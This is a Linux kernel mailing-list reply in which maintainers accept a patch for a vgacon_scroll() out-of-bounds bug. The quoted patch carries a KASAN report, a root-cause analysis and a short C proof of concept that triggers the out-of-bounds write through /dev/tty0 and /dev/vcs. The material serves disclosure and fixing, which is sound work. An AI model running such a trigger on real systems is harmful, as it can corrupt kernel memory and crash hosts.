From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from smtp.kernel.org (aws-us-west-2-korg-mail-1.web.codeaurora.org [10.30.226.201]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 349B44A35 for ; Sun, 27 Apr 2025 15:40:41 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=10.30.226.201 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1745768442; cv=none; b=Ht1XWLSbXSBG1YGTC/0Z/YYMLfLUSO6NMlTLBS+VIdELyYtvez8FWNsqK8U0gsbevSY4BfGBvsYaLJ6f9NGIeuDjhHNxWTK4FazH2oGsrXT7zLFqa9J354AEbixtEKr//R48v+lG27h/0gAaVFVyc5wwNalzahNF8E3rw8sv0h8= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1745768442; c=relaxed/simple; bh=prLMbK5tGVqhcb3iWAF1N0Qly3RN7/6xvKoW/6EqV6s=; h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Disposition:In-Reply-To; b=BBggdv1fYgMO3Gjy1QH9B7IZl8Fg8YZXUMi9WInxTVppSCEDTLjVPYKgF0f47V6J3GRo79QPOkRC5PoCs5ERF2KPeduIUMoBijWa6U1H0u7Z/cUgxyhRjX9SaTw3E7Et1R2HYg6MGRzgdw4VAM0GW+nGdIwe8kjdCTpV+eAIgTQ= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b=b+OUY1FW; arc=none smtp.client-ip=10.30.226.201 Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b="b+OUY1FW" Received: by smtp.kernel.org (Postfix) with ESMTPSA id 66569C4CEE3; Sun, 27 Apr 2025 15:40:41 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=linuxfoundation.org; s=korg; t=1745768441; bh=prLMbK5tGVqhcb3iWAF1N0Qly3RN7/6xvKoW/6EqV6s=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=b+OUY1FWakVoAbC+qgPTtbBnR8EjJJcDI0j03Q6frCJjAa1kUDBhGBq0JNVxpZyk1 zZR0qsHd+5ipl1dqK8WvC0ez61qrX2BIAIDDP+glNyuyzmCvo6Ce8LgbRLbgGjALut s2ziQ0xIB8/ilyotNx/eIjmjCWbsbmYMRTsYAtoQ= Date: Sun, 27 Apr 2025 17:40:39 +0200 From: Greg Kroah-Hartman To: Helge Deller Cc: GONG Ruiqi , Jiri Slaby , linux-fbdev@vger.kernel.org, security@kernel.org, Kees Cook , Yi Yang , Lu Jialin , Xiu Jianfeng Subject: Re: [PATCH RFC 1/1] vgacon: Add check for vc_origin address range in vgacon_scroll() Message-ID: <2025042758-dislocate-rebuild-bab2@gregkh> References: <20250427025303.888320-1-gongruiqi1@huawei.com> <20250427025303.888320-2-gongruiqi1@huawei.com> Precedence: bulk X-Mailing-List: linux-fbdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: On Sun, Apr 27, 2025 at 05:34:47PM +0200, Helge Deller wrote: > On 4/27/25 04:53, GONG Ruiqi wrote: > > Our in-house Syzkaller reported the following BUG (twice), which we > > believed was the same issue with [1]: > > > > ================================================================== > > BUG: KASAN: slab-out-of-bounds in vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740 > > Read of size 2 at addr ffff88800f5bef60 by task syz.7.2620/12393 > > ... > > Call Trace: > > > > __dump_stack lib/dump_stack.c:88 [inline] > > dump_stack_lvl+0x72/0xa0 lib/dump_stack.c:106 > > print_address_description.constprop.0+0x6b/0x3d0 mm/kasan/report.c:364 > > print_report+0xba/0x280 mm/kasan/report.c:475 > > kasan_report+0xa9/0xe0 mm/kasan/report.c:588 > > vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740 > > vcs_write_buf_noattr drivers/tty/vt/vc_screen.c:493 [inline] > > vcs_write+0x586/0x840 drivers/tty/vt/vc_screen.c:690 > > vfs_write+0x219/0x960 fs/read_write.c:584 > > ksys_write+0x12e/0x260 fs/read_write.c:639 > > do_syscall_x64 arch/x86/entry/common.c:51 [inline] > > do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81 > > entry_SYSCALL_64_after_hwframe+0x78/0xe2 > > ... > > > > > > Allocated by task 5614: > > kasan_save_stack+0x20/0x40 mm/kasan/common.c:45 > > kasan_set_track+0x25/0x30 mm/kasan/common.c:52 > > ____kasan_kmalloc mm/kasan/common.c:374 [inline] > > __kasan_kmalloc+0x8f/0xa0 mm/kasan/common.c:383 > > kasan_kmalloc include/linux/kasan.h:201 [inline] > > __do_kmalloc_node mm/slab_common.c:1007 [inline] > > __kmalloc+0x62/0x140 mm/slab_common.c:1020 > > kmalloc include/linux/slab.h:604 [inline] > > kzalloc include/linux/slab.h:721 [inline] > > vc_do_resize+0x235/0xf40 drivers/tty/vt/vt.c:1193 > > vgacon_adjust_height+0x2d4/0x350 drivers/video/console/vgacon.c:1007 > > vgacon_font_set+0x1f7/0x240 drivers/video/console/vgacon.c:1031 > > con_font_set drivers/tty/vt/vt.c:4628 [inline] > > con_font_op+0x4da/0xa20 drivers/tty/vt/vt.c:4675 > > vt_k_ioctl+0xa10/0xb30 drivers/tty/vt/vt_ioctl.c:474 > > vt_ioctl+0x14c/0x1870 drivers/tty/vt/vt_ioctl.c:752 > > tty_ioctl+0x655/0x1510 drivers/tty/tty_io.c:2779 > > vfs_ioctl fs/ioctl.c:51 [inline] > > __do_sys_ioctl fs/ioctl.c:871 [inline] > > __se_sys_ioctl+0x12d/0x190 fs/ioctl.c:857 > > do_syscall_x64 arch/x86/entry/common.c:51 [inline] > > do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81 > > entry_SYSCALL_64_after_hwframe+0x78/0xe2 > > > > Last potentially related work creation: > > kasan_save_stack+0x20/0x40 mm/kasan/common.c:45 > > __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492 > > __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713 > > netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802 > > __sock_release+0xb5/0x270 net/socket.c:663 > > sock_close+0x1e/0x30 net/socket.c:1425 > > __fput+0x408/0xab0 fs/file_table.c:384 > > __fput_sync+0x4c/0x60 fs/file_table.c:465 > > __do_sys_close fs/open.c:1580 [inline] > > __se_sys_close+0x68/0xd0 fs/open.c:1565 > > do_syscall_x64 arch/x86/entry/common.c:51 [inline] > > do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81 > > entry_SYSCALL_64_after_hwframe+0x78/0xe2 > > > > Second to last potentially related work creation: > > kasan_save_stack+0x20/0x40 mm/kasan/common.c:45 > > __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492 > > __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713 > > netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802 > > __sock_release+0xb5/0x270 net/socket.c:663 > > sock_close+0x1e/0x30 net/socket.c:1425 > > __fput+0x408/0xab0 fs/file_table.c:384 > > task_work_run+0x154/0x240 kernel/task_work.c:239 > > exit_task_work include/linux/task_work.h:45 [inline] > > do_exit+0x8e5/0x1320 kernel/exit.c:874 > > do_group_exit+0xcd/0x280 kernel/exit.c:1023 > > get_signal+0x1675/0x1850 kernel/signal.c:2905 > > arch_do_signal_or_restart+0x80/0x3b0 arch/x86/kernel/signal.c:310 > > exit_to_user_mode_loop kernel/entry/common.c:111 [inline] > > exit_to_user_mode_prepare include/linux/entry-common.h:328 [inline] > > __syscall_exit_to_user_mode_work kernel/entry/common.c:207 [inline] > > syscall_exit_to_user_mode+0x1b3/0x1e0 kernel/entry/common.c:218 > > do_syscall_64+0x66/0x110 arch/x86/entry/common.c:87 > > entry_SYSCALL_64_after_hwframe+0x78/0xe2 > > > > The buggy address belongs to the object at ffff88800f5be000 > > which belongs to the cache kmalloc-2k of size 2048 > > The buggy address is located 2656 bytes to the right of > > allocated 1280-byte region [ffff88800f5be000, ffff88800f5be500) > > > > ... > > > > Memory state around the buggy address: > > ffff88800f5bee00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc > > ffff88800f5bee80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc > > > ffff88800f5bef00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc > > ^ > > ffff88800f5bef80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc > > ffff88800f5bf000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > > ================================================================== > > > > By analyzing the vmcore, we found that vc->vc_origin was somehow placed > > one line prior to vc->vc_screenbuf when vc was in KD_TEXT mode, and > > further writings to /dev/vcs caused out-of-bounds reads (and writes > > right after) in vcs_write_buf_noattr(). > > > > Our further experiments show that in most cases, vc->vc_origin equals to > > vga_vram_base when the console is in KD_TEXT mode, and it's around > > vc->vc_screenbuf for the KD_GRAPHICS mode. But via triggerring a > > TIOCL_SETVESABLANK ioctl beforehand, we can make vc->vc_origin be around > > vc->vc_screenbuf while the console is in KD_TEXT mode, and then by > > writing the special 'ESC M' control sequence to the tty certain times > > (depends on the value of `vc->state.y - vc->vc_top`), we can eventually > > move vc->vc_origin prior to vc->vc_screenbuf. Here's the PoC, tested on > > QEMU: > > > > ``` > > int main() { > > const int RI_NUM = 10; // should be greater than `vc->state.y - vc->vc_top` > > int tty_fd, vcs_fd; > > const char *tty_path = "/dev/tty0"; > > const char *vcs_path = "/dev/vcs"; > > const char escape_seq[] = "\x1bM"; // ESC + M > > const char trigger_seq[] = "Let's trigger an OOB write."; > > struct vt_sizes vt_size = { 70, 2 }; > > int blank = TIOCL_BLANKSCREEN; > > > > tty_fd = open(tty_path, O_RDWR); > > > > char vesa_mode[] = { TIOCL_SETVESABLANK, 1 }; > > ioctl(tty_fd, TIOCLINUX, vesa_mode); > > > > ioctl(tty_fd, TIOCLINUX, &blank); > > ioctl(tty_fd, VT_RESIZE, &vt_size); > > > > for (int i = 0; i < RI_NUM; ++i) > > write(tty_fd, escape_seq, sizeof(escape_seq) - 1); > > > > vcs_fd = open(vcs_path, O_RDWR); > > write(vcs_fd, trigger_seq, sizeof(trigger_seq)); > > > > close(vcs_fd); > > close(tty_fd); > > return 0; > > } > > ``` > > > > To solve this problem, add an address range validation check in > > vgacon_scroll(), ensuring vc->vc_origin never precedes vc_screenbuf. > > > > Reported-by: syzbot+9c09fda97a1a65ea859b@syzkaller.appspotmail.com > > Closes: https://syzkaller.appspot.com/bug?extid=9c09fda97a1a65ea859b [1] > > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") > > Cc: stable@vger.kernel.org > > Co-developed-by: Yi Yang > > Signed-off-by: Yi Yang > > Signed-off-by: GONG Ruiqi > > --- > > drivers/video/console/vgacon.c | 2 +- > > 1 file changed, 1 insertion(+), 1 deletion(-) > > > > diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c > > index 37bd18730fe0..f9cdbf8c53e3 100644 > > --- a/drivers/video/console/vgacon.c > > +++ b/drivers/video/console/vgacon.c > > @@ -1168,7 +1168,7 @@ static bool vgacon_scroll(struct vc_data *c, unsigned int t, unsigned int b, > > c->vc_screenbuf_size - delta); > > c->vc_origin = vga_vram_end - c->vc_screenbuf_size; > > vga_rolled_over = 0; > > - } else > > + } else if (oldo - delta >= (unsigned long)c->vc_screenbuf) > > c->vc_origin -= delta; > > c->vc_scr_end = c->vc_origin + c->vc_screenbuf_size; > > scr_memsetw((u16 *) (c->vc_origin), c->vc_video_erase_char, > > > The patch is not wrong, but I'm not yet sure if it hides another issue. > I've applied it to the fbdev tree for now (unless Greg wants to handle it). Nope, you can handle it, thanks! thanks, greg k-h